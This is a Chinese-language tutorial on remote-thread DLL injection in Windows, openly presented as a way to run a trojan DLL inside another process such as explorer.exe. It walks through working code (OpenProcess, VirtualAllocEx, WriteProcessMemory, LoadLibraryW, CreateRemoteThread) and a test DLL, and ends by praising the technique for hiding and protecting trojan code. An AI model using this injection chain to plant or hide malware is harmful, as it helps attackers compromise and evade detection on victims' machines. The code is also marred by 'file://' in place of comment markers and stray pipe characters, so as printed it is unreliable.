遠程線程技術指的是通過在另一個進程中建立遠程線程的方法進入那個進程的記憶體位址空間。我們知道,在進程中,可以通過createthread函數建立線程,被建立的新線程與主線程(就是進程啟動時被同時自動建立的那個線程)共用地址空間以及其他的資源。 但是很少有人知道,通過createremotethread也同樣可以在另一個進程內建立新線程,被建立的遠程線程同樣可以共用遠程進程(是遠程進程耶!)的地址空間,所以,實際上,我們通過一個遠程線程,進入了遠程進程的記憶體位址空間,也就擁有了那個遠程進程相當的許可權。例如在遠程進程內部啟動一個dll木馬(與進入進程內部相比,啟動一個dll木馬是小意思,實際上我們可以隨意篡改那個遠程進程的資料)。
首先,我們通過openprocess 來開啟我們試圖嵌入的進程(如果遠程進程不允許開啟,那麼嵌入就無法進行了,這往往是由於許可權不足引起的,解決方案是通過種種途徑提升本地進程的許可權)
hremoteprocess = openprocess( process_create_thread | file://允許遠程建立線程
process_vm_operation | file://允許遠程vm操作
process_vm_write,//允許遠程vm寫
false, dwremoteprocessid )
由於我們後面需要寫入遠程進程的記憶體位址空間並建立遠程線程,所以需要申請足夠的許可權(process_create_thread、vm_operation、vm_write)。
然後,我們可以建立loadlibraryw函數這個線程來啟動我們的dll木馬,loadlibraryw函數是在kernel32.dll中定義的,用來載入dll檔案,它只有一個參數,就是dll檔案的絕對路徑名pszlibfilename,(也就是木馬dll的全路徑檔案名稱),但是由於木馬dll是在遠程進程內調用的,所以我們首先還需要將這個檔案名稱複製到遠程地址空間:(否則遠程線程是無法讀到這個參數的)
file://計算dll路徑名需要的記憶體空間 int cb = (1 + lstrlenw(pszlibfilename)) * sizeof(wchar); file://使用virtualallocex函數在遠程進程的記憶體位址空間分配dll檔案名稱緩衝區 pszlibfileremote = (pwstr) virtualallocex( hremoteprocess, null, cb, mem_commit, page_readwrite); file://使用writeprocessmemory函數將dll的路徑名複製到遠程進程的記憶體空間 ireturncode = writeprocessmemory(hremoteprocess, pszlibfileremote, (pvoid) pszlibfilename, cb, null); file://計算loadlibraryw的入口地址 pthread_start_routine pfnstartaddr = (pthread_start_routine) getprocaddress(getmodulehandle(text("kernel32")), "loadlibraryw"); |
萬事俱備,我們通過建立遠程線程時的地址pfnstartaddr(實際上就是loadlibraryw的入口地址)和傳遞的參數pszlibfileremote(實際上是我們複製過去的木馬dll的全路徑檔案名稱)在遠程進程內啟動我們的木馬dll:
file://啟動遠程線程loadlibraryw,通過遠程線程調用使用者的dll檔案 hremotethread = createremotethread( hremoteprocess, null, 0, pfnstartaddr, pszlibfileremote, 0, null); |
至此,遠程嵌入順利完成,為了實驗我們的dll是不是已經正常的在遠程線程運行,我編寫了以下的測試dll:
bool apientry dllmain(handle hmodule, dword reason, lpvoid lpreserved) { char szprocessid[64] ; switch ( reason ) { case dll_process_attach: { file://擷取當前進程id _itoa ( getcurrentprocessid(), szprocessid, 10 ); messagebox ( null, szprocessid, "remotedll", mb_ok ); } default: return true; } } |
當我使用rmtdll.exe程式將這個testdll.dll嵌入explorer.exe進程後(pid=1208),該測試dll彈出了1208字樣的確認框,同時使用ps工具也能看到
process id: 1208 c:/winnt/explorer.exe (0x00400000) …… c:/testdll.dll (0x100000000) …… |
這證明testdll.dll已經在explorer.exe進程內正確地運行了。
無論是使用特洛伊dll還是使用遠程線程,都是讓木馬的核心代碼運行於別的進程的記憶體空間,這樣不僅能很好地隱藏自己,也能更好的保護自己。